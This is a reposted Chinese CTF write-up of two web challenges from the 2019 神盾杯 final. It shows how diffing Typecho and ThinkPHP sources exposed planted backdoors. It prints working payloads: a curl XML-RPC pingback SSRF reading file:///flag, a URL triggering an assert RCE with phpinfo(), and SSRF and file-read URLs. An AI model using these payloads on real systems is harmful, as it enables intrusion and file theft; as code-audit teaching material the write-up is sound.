2019 神盾杯 final Writeup（二）

转载

systemino 于 2019-07-10 17:40:39 发布 343 收藏

前言

接之前的分析文章，本篇文章将2019 神盾杯线下赛后续两道web题也解析一下。

web3

预置后门扫描

打开源码发现是主流cms typecho，先上工具扫一波：

同时注意到版本号：

根据github的开源项目回滚到当前版本：

并进行diff：

用户名RCE

容易发现/admin/login.php处，$rememberName被反引号包裹，可以进行RCE。PHP大马

SSRF漏洞

/var/Widget/XmlRpc.php：

该漏洞应该为typecho对应版本的原生漏洞，可以搜到相关信息：

那么关键点就在于过滤时，未把file协议过滤掉：

/var/Typecho/Http/Client/Adapter.php：

导致我们可以利用其进行SSRF任意文件读取：

```
curl "https://skysec.top/action/xmlrpc" -d '<methodCall><methodName>pingback.ping</methodName><params>
<param><value><string>file:///flag</string></value></param><param><value><string>joychou</string></value>
</param></params></methodCall>'
```

web4

预置后门扫描

打开源码发现是主流框架 thinkphp，先上工具扫一波：

比较遗憾，这里后门因为隐藏非常隐蔽，所以主流静态分析工具并没有很好的识别出webshell。下面还是得靠我们自己diff。

该项目是开源项目：奇热影视

```
https://gitee.com/liaow/JuBiWang/tree/master
```

thinkphp缓存机制

关于thinkphp的缓存机制，是一个老生常谈的问题，在今年强网杯final中也有相应的问题：

```
https://skysec.top/2019/06/16/2019-%E5%BC%BA%E7%BD%91%E6%9D%AFfinal-Web-Writeup/
```

这里就不再赘述了。

全局过滤器后门

通过diff发现在文件/ThinkPHP/Common/functions.php:

其中出题人自己编写了一个全局函数:

```
function MY_I($name,$default='',$filter=null,$datas=null)
```

我们和框架自带的I函数做个比较：

发现出题人使用了自己的：

```
MY_DEFAULT_FILTER
```

我们跟进一下：

发现内置内门assert，那么我们寻找调用MY_I函数的位置：

/Application/Home/Controller/ChartController.class.php：

发现方法getMarketOrdinaryJson()使用了该函数，那么可以构造如下路由进行RCE：

```
https://skysec.top/?s=/home/chart/getMarketOrdinaryJson&sky=phpinfo();
```

ssrf

通过diff，发现在文件/Application/Admin/Controller/AdminController.class.php中多了如下方法：

简单看一下发现是curl，那么可以直接进行ssrf文件读取：

```
https://skysec.top/?s=/admin/admin/callOnce&url=file:///flag
```

文件读取

通过diff，发现在文件/Application/Home/Controller/IndexController.class.php中有如下flag方法：

我们发现只要我们输入的len和flag长度不一致，就会触发debug函数，我们跟进debug函数：

继续跟进log函数：

再跟进fb函数：

发现最后会进行setHeader，我们的debug信息会在http header中打印出来，那么即可通过这个方式获取flag。

```
https://skysec.top/?s=/home/index/flag&len=1
```

后记

2019 神盾杯线下赛的4道web分析到此结束，总的来说diff还是比较强力的，最后的web4也不错，洞藏的都比较好一些，是和框架相互结合的，而不是生硬嵌入的，希望借此可以提高代码审计能力。